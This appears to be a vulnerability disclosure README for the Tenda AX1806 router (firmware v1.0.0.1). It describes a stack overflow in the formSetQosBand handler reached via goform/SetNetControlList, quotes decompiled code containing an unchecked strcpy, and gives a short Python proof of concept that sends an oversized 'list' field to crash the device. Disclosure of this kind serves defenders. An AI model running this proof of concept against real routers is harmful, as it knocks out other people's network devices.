d1tto add A18 and AX1806 ... on May 26 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the `formSetQosBand` function, which can be accessed via the URL `goform/SetNetControlList`.

```
void formSetQosBand(undefined4 param_1)

{
  undefined4 uVar1;
  int iVar2;
  char acStack656 [16];
  char acStack640 [32];
  char acStack608 [32];
  char acStack576 [32];
  char acStack544 [256];
  char acStack288 [256];

  memset(acStack640,0,0x20);
  memset(acStack544,0,0x100);
  memset(acStack288,0,0x100);
  uVar1 = FUN_000295c8(param_1,"list",&DAT_001c2cf0);
  FUN_000650bc();
  FUN_00064f30();
  FUN_00065188();
  FUN_00065680(uVar1,10);
  memset(acStack608,0,0x20);
  memset(acStack576,0,0x20);
```

```
do {
  do {
    pcVar1 = strchr(param_1,param_2);
    pcVar3 = param_1;
    if (pcVar1 == (char *)0x0) goto LAB_0006582c;
    pcVar3 = pcVar1 + 1;
    *pcVar1 = '\0';
    memset(local_220,0,0x100);
    strcpy(local_220,param_1);
    bVar4 = local_220[0] != ';';
```

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"list": b'A'*0x400+b'\n'
}
res = requests.post("http://127.0.0.1/goform/SetNetControlList", data=data)
print(res.content)
```